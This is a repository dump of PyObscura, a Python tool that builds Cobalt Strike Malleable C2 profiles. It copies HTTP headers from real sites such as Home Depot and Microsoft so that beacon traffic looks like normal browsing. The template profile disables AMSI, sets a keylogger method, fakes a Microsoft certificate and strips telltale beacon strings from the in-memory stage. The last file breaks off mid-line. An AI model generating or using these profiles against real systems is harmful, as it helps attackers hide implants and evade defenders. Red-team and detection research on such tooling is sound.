├── PyObscura.py ├── README.md ├── color.py ├── requirements.txt └── sample.profile /PyObscura.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import re 3 | from datetime import datetime 4 | import os 5 | import sys 6 | import time 7 | import requests 8 | import random 9 | from urllib.parse import urljoin, urlparse 10 | import color # Assumes a module named 'color' is available for colored output 11 | 12 | ############################################# 13 | # Dual Template Generation Functions Begin 14 | ############################################# 15 | 16 | def get_random_user_agent(): 17 | # URL to fetch the JSON list of user agents. 18 | user_agents_url = "https://jnrbsn.github.io/user-agents/user-agents.json" 19 | try: 20 | response = requests.get(user_agents_url) 21 | response.raise_for_status() # Raise error for bad responses. 22 | user_agents = response.json() 23 | if isinstance(user_agents, list) and user_agents: 24 | return random.choice(user_agents) 25 | else: 26 | raise ValueError("Fetched data is not a valid non-empty list.") 27 | except Exception as e: 28 | print(f"Error fetching user agents: {e}") 29 | return "CustomUserAgent/1.0" 30 | 31 | def split_into_chunks(value): 32 | """ 33 | Splits the value at a semicolon near the middle. 34 | Returns (chunk1, chunk2) where chunk1 ends with ';' if found. 35 | """ 36 | mid = len(value) // 2 37 | split_index = value.rfind(';', 0, mid+1) 38 | if split_index == -1: 39 | split_index = value.find(';', mid) 40 | if split_index == -1: 41 | split_index = mid 42 | if value[split_index:split_index+1] == ';': 43 | return value[:split_index+1], value[split_index+1:] 44 | else: 45 | return value[:split_index], value[split_index:] 46 | 47 | def fill_template(get_url, response_headers): 48 | """ 49 | Fills the GET template. Limits the highest header value to 500 bytes, 50 | removes trailing tokens (using your snippet) if possible, and splits the result into two chunks. 51 | """ 52 | # Filter out headers with keys containing "date" or "time". 53 | filtered = {k: v for k, v in response_headers.items() if "date" not in k.lower() and "time" not in k.lower()} 54 | header_list = list(filtered.items()) 55 | 56 | def fill_headers(lst, count): 57 | if len(lst) < count: 58 | lst.extend([("", "")] * (count - len(lst))) 59 | return lst[:count] 60 | 61 | client_headers = fill_headers(header_list[:2], 2) 62 | server_headers = fill_headers(header_list[2:], 6) 63 | 64 | # Choose the header with the longest value. 65 | highest_header_value = "" 66 | for _, value in filtered.items(): 67 | val_str = str(value) 68 | if len(val_str) > len(highest_header_value): 69 | highest_header_value = val_str 70 | 71 | # Limit to 500 bytes. 72 | if len(highest_header_value) > 500: 73 | highest_header_value = highest_header_value[:500] 74 | # Remove trailing tokens using your snippet: 75 | tokens = highest_header_value.split(';') 76 | if len(tokens) > 1: 77 | if len(tokens) > 3: 78 | highest_header_value = ';'.join(tokens[:-5]).strip() 79 | else: 80 | highest_header_value = ';'.join(tokens[:-4]).strip() 81 | 82 | # Split the resulting string into two chunks. 83 | chunk1, chunk2 = split_into_chunks(highest_header_value) 84 | 85 | # Extract the URI path from the GET URL. 86 | parsed = urlparse(get_url) 87 | uri = parsed.path if parsed.path else "/" 88 | 89 | client_header1_key, client_header1_value = client_headers[0] 90 | client_header2_key, client_header2_value = client_headers[1] 91 | (server_header1_key, server_header1_value), (server_header2_key, server_header2_value), \ 92 | (server_header3_key, server_header3_value), (server_header4_key, server_header4_value), \ 93 | (server_header5_key, server_header5_value), (server_header6_key, server_header6_value) = server_headers 94 | 95 | template = f'''http-get {{ 96 | set verb "POST"; 97 | set uri "{uri}"; 98 | client {{ 99 | header "{client_header1_key}" "{client_header1_value}"; 100 | header "{client_header2_key}" "{client_header2_value}"; 101 | metadata {{ 102 | mask; 103 | base64url; 104 | prepend "{chunk1}"; 105 | append "{chunk2}"; 106 | print; 107 | }} 108 | }} 109 | server {{ 110 | output {{ 111 | mask; 112 | base64url; 113 | prepend "{chunk1}"; 114 | append "{chunk2}"; 115 | print; 116 | }} 117 | header "{server_header1_key}" "{server_header1_value}"; 118 | header "{server_header2_key}" "{server_header2_value}"; 119 | header "{server_header3_key}" "{server_header3_value}"; 120 | header "{server_header4_key}" "{server_header4_value}"; 121 | header "{server_header5_key}" "{server_header5_value}"; 122 | header "{server_header6_key}" "{server_header6_value}"; 123 | }} 124 | }}''' 125 | return template 126 | 127 | def fill_template2(post_uri, response_headers): 128 | """ 129 | Fills the POST template. Limits the highest header value to 500 bytes, 130 | removes trailing tokens (using your snippet) if possible, and splits the result into two chunks. 131 | """ 132 | filtered = {k: v for k, v in response_headers.items() if "date" not in k.lower() and "time" not in k.lower()} 133 | header_list = list(filtered.items()) 134 | 135 | def fill_headers(lst, count): 136 | if len(lst) < count: 137 | lst.extend([("", "")] * (count - len(lst))) 138 | return lst[:count] 139 | 140 | client_headers = fill_headers(header_list[:4], 4) 141 | server_headers = fill_headers(header_list[4:], 8) 142 | 143 | highest_header_value = "" 144 | for _, value in filtered.items(): 145 | val_str = str(value) 146 | if len(val_str) > len(highest_header_value): 147 | highest_header_value = val_str 148 | 149 | if len(highest_header_value) > 500: 150 | highest_header_value = highest_header_value[:500] 151 | # Remove trailing tokens using your snippet: 152 | tokens = highest_header_value.split(';') 153 | if len(tokens) > 1: 154 | if len(tokens) > 3: 155 | highest_header_value = ';'.join(tokens[:-5]).strip() 156 | else: 157 | highest_header_value = ';'.join(tokens[:-4]).strip() 158 | 159 | chunk1, chunk2 = split_into_chunks(highest_header_value) 160 | 161 | client_header_keys = [client_headers[i][0] for i in range(4)] 162 | client_header_values = [client_headers[i][1] for i in range(4)] 163 | server_header_keys = [server_headers[i][0] for i in range(8)] 164 | server_header_values = [server_headers[i][1] for i in range(8)] 165 | 166 | template = f'''http-post {{ 167 | set verb "POST"; 168 | set uri "{post_uri}"; 169 | client {{ 170 | header "{client_header_keys[0]}" "{client_header_values[0]}"; 171 | header "{client_header_keys[1]}" "{client_header_values[1]}"; 172 | id {{ 173 | mask; 174 | base64url; 175 | prepend "{chunk1}"; 176 | append "{chunk2}"; 177 | print; 178 | }} 179 | output {{ 180 | mask; 181 | base64url; 182 | parameter "{client_header_values[0]}"; 183 | }} 184 | }} 185 | server {{ 186 | output {{ 187 | mask; 188 | base64url; 189 | prepend "{chunk1}"; 190 | append "{chunk2}"; 191 | print; 192 | }} 193 | header "{server_header_keys[0]}" "{server_header_values[0]}"; 194 | header "{server_header_keys[1]}" "{server_header_values[1]}"; 195 | header "{server_header_keys[2]}" "{server_header_values[2]}"; 196 | header "{server_header_keys[3]}" "{server_header_values[3]}"; 197 | header "{server_header_keys[4]}" "{server_header_values[4]}"; 198 | header "{server_header_keys[5]}" "{server_header_values[5]}"; 199 | header "{server_header_keys[6]}" "{server_header_values[6]}"; 200 | header "{server_header_keys[7]}" "{server_header_values[7]}"; 201 | }} 202 | }}''' 203 | return template 204 | 205 | def generate_dual_templates(base_url, get_uri, post_uri): 206 | """ 207 | Sends a GET and a POST request using the base URL, GET URI, and POST URI, 208 | then returns the filled GET and POST templates along with the full URLs. 209 | """ 210 | get_url = urljoin(base_url, get_uri) 211 | post_url = urljoin(base_url, post_uri) 212 | 213 | selected_user_agent = get_random_user_agent() 214 | custom_headers = { 215 | "User-Agent": selected_user_agent, 216 | "Accept": "application/json", 217 | "Accept-Encoding": "gzip, deflate", 218 | "Connection": "close" 219 | } 220 | 221 | try: 222 | get_response = requests.get(get_url, headers=custom_headers) 223 | get_template = fill_template(get_url, get_response.headers) 224 | 225 | post_response = requests.post(post_url, headers=custom_headers) 226 | post_template = fill_template2(post_uri, post_response.headers) 227 | 228 | return get_template, post_template, get_url, post_url 229 | except requests.RequestException as e: 230 | print(f"An error occurred while generating dual templates: {e}") 231 | return None 232 | 233 | ############################################# 234 | # Dual Template Generation Functions End 235 | ############################################# 236 | 237 | #def replace_template(template_path, output_path, host, sleep, jitter, datajitter, useragent, spawnto, injection, library, syscall, beacongate, forwarder, base_url, geturi, posturi): 238 | def replace_template(template_path, output_path, sleep, jitter, datajitter, useragent, spawnto, injection, library, syscall, beacongate, forwarder, base_url, geturi, posturi): 239 | # Read the template from the input file. 240 | with open(template_path, 'r') as file: 241 | template_content = file.read() 242 | 243 | # Extract the profile name (without file extension) for use in the sample name. 244 | profile_name = os.path.splitext(os.path.basename(output_path))[0] 245 | 246 | # Define the values to replace. 247 | values = { 248 | "Date": datetime.now().strftime("%Y-%m-%d"), 249 | "name": profile_name, 250 | #"host": host, 251 | "sleep": sleep, 252 | "jitter": jitter, 253 | "data_jitter": datajitter, 254 | "user_agent": useragent, 255 | "spawn_to": spawnto, 256 | "library": library, 257 | "injection": injection, 258 | "forward": forwarder, 259 | "syscall": syscall 260 | } 261 | 262 | # Replace each placeholder (e.g. %Date%, %sleep%) with the corresponding value. 263 | for key, value in values.items(): 264 | placeholder = f"%{key}%" 265 | template_content = re.sub(re.escape(placeholder), value, template_content) 266 | 267 | ####################################### 268 | ## Beacon Gate 269 | ####################################### 270 | beacon_gate_groups = { 271 | "Core": ["CloseHandle", "CreateRemoteThread", "CreateThread", "DuplicateHandle", "GetThreadContext", "MapViewOfFile", "OpenProcess", "OpenThread", "ReadProcessMemory", "ResumeThread", "SetThreadContext", "VirtualAlloc", "VirtualAllocEx", "VirtualFree", "VirtualProtect", "VirtualProtectEx", "VirtualQuery", "WriteProcessMemory"], 272 | "Comms": ["InternetOpenA", "InternetConnectA"], 273 | "CleanUp": ["ExitThread"], 274 | "All": ["ExitThread", "InternetOpenA", "InternetConnectA","CloseHandle", "CreateRemoteThread", "CreateThread", "DuplicateHandle", "GetThreadContext", "MapViewOfFile", "OpenProcess", "OpenThread", "ReadProcessMemory", "ResumeThread", "SetThreadContext", "VirtualAlloc", "VirtualAllocEx", "VirtualFree", "VirtualProtect", "VirtualProtectEx", "VirtualQuery", "WriteProcessMemory"] 275 | } 276 | 277 | if beacongate in beacon_gate_groups: 278 | replacements = beacon_gate_groups[beacongate] 279 | else: 280 | individual_apis = [api.strip() for api in beacongate.split(',') if api.strip()] 281 | replacements = individual_apis 282 | 283 | if replacements: 284 | replacements = list(set(replacements)) 285 | api_replacement_string = ('\t\t\t' + ';\n\t\t\t'.join(replacements) + ';') 286 | template_content = re.sub(r"%api%", api_replacement_string, template_content) 287 | 288 | ####################################### 289 | ## Dual Template Integration 290 | ####################################### 291 | dual_templates = generate_dual_templates(base_url, geturi, posturi) 292 | if dual_templates: 293 | get_template, post_template, requested_get_url, requested_post_url = dual_templates 294 | template_content = re.sub(r"%GET%", get_template, template_content) 295 | template_content = re.sub(r"%POST%", post_template, template_content) 296 | else: 297 | print("Failed to generate GET/POST templates.") 298 | 299 | ####################################### 300 | ## Status Messages and Write Output 301 | ####################################### 302 | print(color.yellow("[*] Preparing Variables")) 303 | time.sleep(0.50) 304 | print(color.red("[!] Staging is Disabled - Staged Payloads Are Not Available and should not be Used!!")) 305 | time.sleep(0.50) 306 | print(color.yellow(f"[*] Post-Ex Process Name: {spawnto}")) 307 | time.sleep(0.50) 308 | print(color.yellow(f"[*] Library use for HTTP/HTTPS Traffic: {library}")) 309 | time.sleep(0.50) 310 | print(color.yellow(f"[*] Injection method: {injection}")) 311 | time.sleep(0.50) 312 | print(color.yellow(f"[*] Syscall Method: {syscall}")) 313 | time.sleep(0.50) 314 | print(color.yellow("[*] BeaconGate enabled on these APIs or Groups: " + beacongate)) 315 | 316 | with open(output_path, 'w') as file: 317 | file.write(template_content) 318 | 319 | print(color.green(f"File '{output_path}' created with replaced values.")) 320 | 321 | ############################################# 322 | # Main Argument Parsing and Execution 323 | ############################################# 324 | banner = r""" 325 | ____ ____ __ 326 | / __ \__ __/ __ \/ /_ ____________ ___________ _ 327 | / /_/ / / / / / / / __ \/ ___/ ___/ / / / ___/ __ `/ 328 | / ____/ /_/ / /_/ / /_/ (__ ) /__/ /_/ / / / /_/ / 329 | /_/ \__, /\____/_.___/____/\___/\__,_/_/ \__,_/ 330 | /____/ 331 | 332 | **************************************************** 333 | * * 334 | * Cobalt Strike C2 profile Generator * 335 | * v1.0 * 336 | * Author: dmcxblue * 337 | * * 338 | **************************************************** 339 | """ 340 | 341 | if "--help" in sys.argv or "-h" in sys.argv: 342 | print(color.green(banner)) 343 | 344 | parser = argparse.ArgumentParser( 345 | description="Use this tool to build customized C2 profiles.", 346 | epilog="Thank you for using the C2 Profile Builder!", 347 | formatter_class=argparse.RawDescriptionHelpFormatter 348 | ) 349 | 350 | # parser.add_argument("--inprofile", required=True, help="Path to the input profile template file.") 351 | parser.add_argument("--outprofile", required=True, help="Path to the output profile file.") 352 | # parser.add_argument("--host", required=True, help="Team Server Domain name") 353 | parser.add_argument("--sleep", required=True, help="Sleep time in milliseconds.") 354 | parser.add_argument("--jitter", required=True, help="Jitter time.") 355 | parser.add_argument("--datajitter", required=False, default="50", help="Data Jitter time. [Default 50]") 356 | parser.add_argument("--useragent", required=False, default=get_random_user_agent(), help="Beacon User Agent. [Default: Randomized]") 357 | parser.add_argument("--spawnto", required=False, default="rundll32", help="Spawn to Binary for PostEx.") 358 | parser.add_argument("--injection", required=False, default="VirtualAllocEx", help="VirtualAllocEx, NtMapViewOfSection [Default: VirtualAllocEx]") 359 | parser.add_argument("--library", required=False, default="winhttp", help="Select the default HTTP Beacon library (wininet, winhttp) [Default: winhttp]") 360 | parser.add_argument("--syscall", required=False, default="Indirect", help="Defines the ability to use direct/indirect system calls [Default: None] Example: Direct, Indirect, None") 361 | parser.add_argument("--beacongate", required=False, default="All", help="APIs which beacon gate will work on [--beacongate ExitThread *Individually | --beacongate Core *By Groups], [Default: All]") 362 | parser.add_argument("--forwarder", required=False, default="false", help="Enabled the X-forwarded-For header (If you are using Relay and are behind a proxy set to True)") 363 | parser.add_argument("--url", required=True, default="https://www.microsoft.com/", help="URL to query for HTTP response") 364 | parser.add_argument("--geturi", required=True, default="/en-us/windows", help="Directory from main url for GET, e.g., /about") 365 | parser.add_argument("--posturi", required=True, default="/en-us/windows/get-windows-11", help="Directory from main url for POST, e.g., /contact") 366 | 367 | try: 368 | args = parser.parse_args() 369 | except Exception as e: 370 | print(f"Error parsing arguments: {e}") 371 | parser.print_help() 372 | exit(1) 373 | 374 | #replace_template(args.inprofile, args.outprofile, args.host, args.sleep, args.jitter, args.datajitter, args.useragent, args.spawnto, args.injection, args.library, args.syscall, args.beacongate, args.forwarder, args.url, args.geturi, args.posturi) 375 | # replace_template("sample.profile", args.outprofile, args.host, args.sleep, args.jitter, args.datajitter, args.useragent, args.spawnto, args.injection, args.library, args.syscall, args.beacongate, args.forwarder, args.url, args.geturi, args.posturi) 376 | replace_template("sample.profile", args.outprofile, args.sleep, args.jitter, args.datajitter, args.useragent, args.spawnto, args.injection, args.library, args.syscall, args.beacongate, args.forwarder, args.url, args.geturi, args.posturi) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyObscura 2 | ## About 3 | With some great tools like Sourcepoint I wanted to try and replicate the usage of it, but since I am not quite capable to write this in GO I am using O'l reliable python. 4 | 5 | 6 | ## Usage 7 | 8 | ```python 9 | ____ ____ __ 10 | / __ \__ __/ __ \/ /_ ____________ ___________ _ 11 | / /_/ / / / / / / / __ \/ ___/ ___/ / / / ___/ __ `/ 12 | / ____/ /_/ / /_/ / /_/ (__ ) /__/ /_/ / / / /_/ / 13 | /_/ \__, /\____/_.___/____/\___/\__,_/_/ \__,_/ 14 | /____/ 15 | **************************************************** 16 | * * 17 | * Cobalt Strike C2 profile Generator * 18 | * v1.0 * 19 | * Author: dmcxblue * 20 | * * 21 | **************************************************** 22 | 23 | usage: PyObscura.py [-h] --outprofile OUTPROFILE --sleep SLEEP --jitter JITTER [--datajitter DATAJITTER] [--useragent USERAGENT] [--spawnto SPAWNTO] [--injection INJECTION] [--library LIBRARY] 24 | [--syscall SYSCALL] [--beacongate BEACONGATE] [--forwarder FORWARDER] --url URL --geturi GETURI --posturi POSTURI 25 | 26 | Use this tool to build customized C2 profiles. 27 | 28 | options: 29 | -h, --help show this help message and exit 30 | --outprofile OUTPROFILE 31 | Path to the output profile file. 32 | --host HOST Team Server Domain name 33 | --sleep SLEEP Sleep time in milliseconds. 34 | --jitter JITTER Jitter time. 35 | --datajitter DATAJITTER 36 | Data Jitter time. [Default 50] 37 | --useragent USERAGENT 38 | Beacon User Agent. [Default: Randomized] 39 | --spawnto SPAWNTO Spawn to Binary for PostEx. 40 | --injection INJECTION 41 | VirtualAllocEx, NtMapViewOfSection [Default: VirtualAllocEx] 42 | --library LIBRARY Select the default HTTP Beacon library (wininet, winhttp) [Default: winhttp] 43 | --syscall SYSCALL Defines the ability to use direct/indirect system calls [Default: None] Example: Direct, Indirect, None 44 | --beacongate BEACONGATE 45 | APIs which beacon gate will work on [--beacongate ExitThread *Individually | --beacongate Core *By Groups], [Default: All] 46 | --forwarder FORWARDER 47 | Enabled the X-forwarded-For header (If you are using Relay and are behind a proxy set to True) 48 | --url URL URL to query for HTTP response 49 | --geturi GETURI Directory from main url for GET, e.g., /about 50 | --posturi POSTURI Directory from main url for POST, e.g., /contact 51 | 52 | Thank you for using the C2 Profile Builder! 53 | ``` 54 | 55 | The script is almost entirely automated. It prompts the user for information to build a C2 profile from a template by replacing hardcoded placeholders (e.g., %name%). In some sections, it automatically fills in the details—for example, by selecting a User-Agent from a frequently updated list of modern User-Agents (https://jnrbsn.github.io/user-agents/user-agents.json). 56 | 57 | Additionally, the script can automate the Request and Response sections of the GET and POST requests in your Malleable profile. By using the --url, --geturi, and --posturi flags, these values are automatically inserted into the profile it will also fill in the the headers and use the prepend and append method for hiding our beacon traffic as seen below. 58 | 59 | ```txt 60 | ################################################ 61 | ## HTTP GET 62 | ################################################ 63 | http-get { 64 | set verb "POST"; 65 | set uri "/c/credit-center"; 66 | client { 67 | header "X-Device-Type" "desktop"; 68 | header "X-XSS-Protection" "0"; 69 | metadata { 70 | mask; 71 | base64url; 72 | prepend "HD_DC=origin; path=/; domain=.homedepot.com;"; 73 | append " secure, akacd_usbeta=3919930858~rv=93~id=9d31a032cdd207022d3e672128b49174; path=/; Secure; SameSite=None, bm_ss=ab8e18ef4e"; 74 | print; 75 | } 76 | } 77 | server { 78 | output { 79 | mask; 80 | base64url; 81 | prepend "HD_DC=origin; path=/; domain=.homedepot.com;"; 82 | append " secure, akacd_usbeta=3919930858~rv=93~id=9d31a032cdd207022d3e672128b49174; path=/; Secure; SameSite=None, bm_ss=ab8e18ef4e"; 83 | print; 84 | } 85 | header "Expect-CT" "max-age=0"; 86 | header "Accept-Ranges" "bytes"; 87 | header "X-TM-ZONE" "us-central1-f"; 88 | header "Strict-Transport-Security" "max-age=63072000; includeSubDomains"; 89 | header "X-Permitted-Cross-Domain-Policies" "none"; 90 | header "X-Download-Options" "noopen"; 91 | } 92 | } 93 | 94 | ################################################ 95 | ## HTTP POST 96 | ################################################ 97 | http-post { 98 | set verb "POST"; 99 | set uri "/c/gift-cards`"; 100 | client { 101 | header "X-Device-Type" "desktop"; 102 | header "X-XSS-Protection" "0"; 103 | id { 104 | mask; 105 | base64url; 106 | prepend "HD_DC=origin;"; 107 | append " path=/"; 108 | print; 109 | } 110 | output { 111 | mask; 112 | base64url; 113 | parameter "desktop"; 114 | } 115 | } 116 | server { 117 | output { 118 | mask; 119 | base64url; 120 | prepend "HD_DC=origin;"; 121 | append " path=/"; 122 | print; 123 | } 124 | header "X-TM-ZONE" "us-central1-c"; 125 | header "Strict-Transport-Security" "max-age=63072000; includeSubDomains"; 126 | header "X-Permitted-Cross-Domain-Policies" "none"; 127 | header "X-Download-Options" "noopen"; 128 | header "Server" "nginx"; 129 | header "X-Varnish" "294446851 294757142"; 130 | header "X-Varnish-Cache" "HIT(1)@vdir"; 131 | header "grace" "none"; 132 | } 133 | } 134 | ``` 135 | 136 | The following demonstrates a quick usage on the creation of a Malleable C2 Profile, this profile simulates browsing the HomeDepot website 137 | 138 | https://github.com/user-attachments/assets/3d616718-b427-47d9-8c3c-79ba24907dde 139 | 140 | Always verify if the Malleable profile is fully functional with Cobalt Strike by using the `./c2lint` executable that verifies if the profile is functional. 141 | 142 | https://github.com/user-attachments/assets/95c8fe7a-499b-4c96-8e7c-caddc0ce1b6f 143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /color.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, Style, init 2 | 3 | # Initialize colorama for cross-platform compatibility 4 | init(autoreset=True) 5 | 6 | def cyan(text): 7 | return Fore.CYAN + text + Style.RESET_ALL 8 | 9 | def yellow(text): 10 | return Fore.YELLOW + text + Style.RESET_ALL 11 | 12 | def green(text): 13 | return Fore.GREEN + text + Style.RESET_ALL 14 | 15 | def red(text): 16 | return Fore.RED + text + Style.RESET_ALL 17 | 18 | def blue(text): 19 | return Fore.BLUE + text + Style.RESET_ALL 20 | 21 | def magenta(text): 22 | return Fore.MAGENTA + text + Style.RESET_ALL 23 | 24 | def white(text): 25 | return Fore.WHITE + text + Style.RESET_ALL 26 | 27 | def reset(text): 28 | return Style.RESET_ALL + text + Style.RESET_ALL 29 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | colorama 3 | -------------------------------------------------------------------------------- /sample.profile: -------------------------------------------------------------------------------- 1 | ################################################ 2 | # Malleable C2 Profile 3 | # Version: Cobalt Strike 4.11 4 | # Date : %Date% 5 | 6 | ################################################ 7 | 8 | ## Profile Name 9 | ################################################ 10 | set sample_name "%name%"; 11 | 12 | ################################################ 13 | ## Sleep Times 14 | ################################################ 15 | set sleeptime "%sleep%"; # 5 Minutes 16 | #set sleeptime "350000"; # 5.8 Minutes.. average video length :) 17 | set jitter "%jitter%"; # % jitter 18 | 19 | ################################################ 20 | ## Server Response Size jitter 21 | ################################################ 22 | set data_jitter "%data_jitter%"; # Append random-length string 23 | 24 | ################################################ 25 | ## Task and Proxy Max Size 26 | ################################################ 27 | set tasks_max_size "1572864"; 28 | set tasks_proxy_max_size "921600"; 29 | set tasks_dns_proxy_max_size "71680"; 30 | 31 | ################################################ 32 | ## Beacon User-Agent 33 | ################################################ 34 | 35 | set useragent "%user_agent%"; 36 | 37 | ################################################ 38 | ## Beacon Library Data 39 | ################################################ 40 | http-beacon { 41 | set library "%library%"; # Options: Winhttp, Wininet 42 | set data_required "false"; 43 | } 44 | 45 | ################################################ 46 | ## SSL CERTIFICATE 47 | # Just a sample certificate this can be mofified if wished 48 | ################################################ 49 | https-certificate { # Simple self signed certificate data 50 | 51 | set CN "*.outlook.office365.com"; #Common Name 52 | set O "Microsoft Corporation"; #Orgainization Name 53 | set OU "MC"; #Organizational Unit Name 54 | set C "US"; #Country 55 | set ST "Washington"; #State or Province 56 | set validity "365"; #Number of days the cert is valid 57 | } 58 | 59 | ################################################ 60 | ## TCP Beacon 61 | ################################################ 62 | set tcp_port "1423"; # TCP beacion listen port 63 | set tcp_frame_header "\x80\x90"; # Prepend header to TCP Beacon messages 64 | 65 | ################################################ 66 | ## SMB beacons 67 | ################################################ 68 | set pipename "Winsock2\\CatalogChangeListener-###-0"; # Name of pipe for SMB sessions. Each # is replaced with a random hex value. 69 | set pipename_stager "ShortcutNotifier_####"; # Name of pipe to use for SMB Beacon's named pipe stager. Each # is replaced with a random hex value. 70 | 71 | set smb_frame_header "\x40\x90\x82"; # Prepend header to SMB Beacon messages 72 | 73 | ################################################ 74 | ## DNS beacons 75 | ################################################ 76 | 77 | # Edit this as you wish if DNS beacons are utilized 78 | 79 | #dns-beacon { 80 | # set dns_idle "8.8.8.8"; # IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values 81 | # set dns_max_txt "252"; # Maximum length of DNS TXT responses for tasks 82 | # set dns_sleep "2"; # Force a sleep prior to each individual DNS request. (in milliseconds) 83 | # set dns_ttl "4"; # TTL for DNS replies 84 | # set maxdns "240"; # Maximum length of hostname when uploading data over DNS (0-255) 85 | # set dns_stager_prepend ".apptel.64."; # Prepend data used by DNS TXT record stager 86 | # set dns_stager_subhost ".api."; # Subdomain used by DNS TXT record stager 87 | # set beacon "a.ef."; # 8 Char max recommended. DNS subhost prefix 88 | # set get_A "d.sa."; # 8 Char max recommended. DNS subhost prefix 89 | # set get_AAAA "d.ta."; # 8 Char max recommended. DNS subhost prefix 90 | # set get_TXT "t.gt."; # 8 Char max recommended. DNS subhost prefix 91 | # set put_metadata "p.md."; # 8 Char max recommended. DNS subhost prefix 92 | # set put_output "p.ot."; # 8 Char max recommended. DNS subhost prefix 93 | # set ns_response "zero"; # How to process NS Record requests. "drop" does not respond to the request (default), "idle" responds with A record for IP address from "dns_idle", "zero" responds with A record for 0.0.0.0 94 | 95 | #} 96 | 97 | 98 | ################################################ 99 | ## SSH beacons 100 | ################################################ 101 | set ssh_banner "OpenSSH_7.4 RedHat (protocol 2.0)"; # SSH client banner 102 | set ssh_pipename "ShortcutNotifier_####"; # Name of pipe for SSH sessions. Each # is replaced with a random hex value. 103 | 104 | 105 | ################################################ 106 | ## Staging process 107 | # This is left alone since stagers are less likely to be utilized 108 | ################################################ 109 | set host_stage "false"; # WARNING Set to false to disable staging behavior. Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set 110 | 111 | http-stager { 112 | set uri_x86 "/analytics/"; # URI for x86 staging 113 | set uri_x64 "/mail/"; # URI for x64 staging 114 | 115 | server { 116 | header "Strict-Transport-Security:" "max-age=43800; includeSubDomains; preload"; 117 | header "X-Content-Type-Options:" "nosniff"; 118 | header "Access-Control-Allow-Credentials:" "true"; 119 | header "Content-Type" "text/html; charset=iso-8859-1"; 120 | header "Vary" "Accept-Encoding"; 121 | header "Server" "Microsoft-IIS/10.0"; 122 | header "Connection" "close"; 123 | output { 124 | prepend "?tele;"; 125 | append ".;telemetry"; 126 | print; 127 | } 128 | } 129 | 130 | client { 131 | header "Accept" "*/*"; 132 | header "Accept-Language" "en"; 133 | header "Connection" "close"; 134 | } 135 | } 136 | 137 | ################################################ 138 | ## Post Exploitation 139 | ################################################ 140 | post-ex { 141 | set spawnto_x86 "%windir%\\syswow64\\%spawn_to%.exe"; 142 | set spawnto_x64 "%windir%\\sysnative\\%spawn_to%.exe"; 143 | set obfuscate "true"; 144 | set smartinject "true"; 145 | set amsi_disable "true"; 146 | set pipename "Winsock2\\CatalogChangeListener-###-0"; # Common Chrome named pipe 147 | set keylogger "GetAsyncKeyState"; # options are GetAsyncKeyState or SetWindowsHookEx 148 | } 149 | 150 | 151 | ################################################ 152 | ## Memory Indicators 153 | ################################################ 154 | stage { 155 | set allocator "MapViewOfFile"; # Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc. (Note: HeapAlloc uses RXW) 156 | set magic_mz_x86 "GOGO"; 157 | set magic_mz_x64 "A^AV"; 158 | set magic_pe "GO"; 159 | set stomppe "true"; 160 | set obfuscate "true"; # review sleepmask and UDRL considerations for obfuscate 161 | set cleanup "true"; 162 | set sleep_mask "true"; 163 | set smartinject "true"; 164 | 165 | # PE information 166 | set checksum "0"; 167 | set compile_time "31 Oct 2015 15:43:08"; 168 | set entry_point "618533"; 169 | set image_size_x86 "552416"; 170 | set image_size_x64 "552416"; 171 | set name "hnetmoni.dll"; #hnetmon.dll does exist in system32 172 | set rich_header "\x94\xe1\xe1\x9e\xd0\x80\x8f\xcd\xd0\x80\x8f\xcd\xd0\x80\x8f\xcd\x47\x44\xf1\xcd\xd7\x80\x8f\xcd\xf7\x46\xf2\xcd\xd7\x80\x8f\xcd\xf7\x46\xe2\xcd\xe4\x80\x8f\xcd\xf7\x46\xf4\xcd\xf9\x80\x8f\xcd\xd0\x80\x8e\xcd\x7b\x82\x8f\xcd\xf7\x46\xe1\xcd\x5f\x80\x8f\xcd\xf7\x46\xf3\xcd\xd1\x80\x8f\xcd\xf7\x46\xf7\xcd\xd1\x80\x8f\xcd\x52\x69\x63\x68\xd0\x80\x8f\xcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 173 | 174 | # Syscall Method 175 | set syscall_method "%syscall%"; 176 | 177 | # Beacon Gate 178 | beacon_gate { 179 | %api% 180 | } 181 | 182 | # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep. 183 | transform-x86 { 184 | prepend "\x66\x0f\x1f\x84\x00\x00\x00\x00\x00"; # prepend null bytes 185 | strrep "ReflectiveLoader" "Append"; # Change this text 186 | strrep "This program cannot be run in DOS mode" ""; # Remove this text 187 | strrep "beacon.dll" ""; # Remove this text 188 | strrep "%name%" ""; 189 | strrep "NtQueueApcThread" ""; 190 | strrep "HTTP/1.1 200 OK" ""; 191 | strrep "Stack memory was corrupted" ""; 192 | strrep "KERNEL32.dll" ""; 193 | strrep "ADVAPI32.dll" ""; 194 | strrep "WININET.dll" ""; 195 | strrep "WS2_32.dll" ""; 196 | strrep "DNSAPI.dll" ""; 197 | strrep "Secur32.dll" ""; 198 | strrep "VirtualProtectEx" ""; 199 | strrep "VirtualProtect" ""; 200 | strrep "VirtualAllocEx" ""; 201 | strrep "VirtualAlloc" ""; 202 | strrep "VirtualFree" ""; 203 | strrep "VirtualQuery" ""; 204 | strrep "RtlVirtualUnwind" ""; 205 | strrep "sAlloc" ""; 206 | strrep "FlsFree" ""; 207 | strrep "FlsGetValue" ""; 208 | strrep "FlsSetValue" ""; 209 | strrep "InitializeCriticalSectionEx" ""; 210 | strrep "CreateSemaphoreExW" ""; 211 | strrep "SetThreadStackGuarantee" ""; 212 | strrep "CreateThreadpoolTimer" ""; 213 | strrep "SetThreadpoolTimer" ""; 214 | strrep "WaitForThreadpoolTimerCallbacks" ""; 215 | strrep "CloseThreadpoolTimer" ""; 216 | strrep "CreateThreadpoolWait" ""; 217 | strrep "SetThreadpoolWait" ""; 218 | strrep "CloseThreadpoolWait" ""; 219 | strrep "FlushProcessWriteBuffers" ""; 220 | strrep "FreeLibraryWhenCallbackReturns" ""; 221 | strrep "GetCurrentProcessorNumber" ""; 222 | strrep "GetLogicalProcessorInformation" ""; 223 | strrep 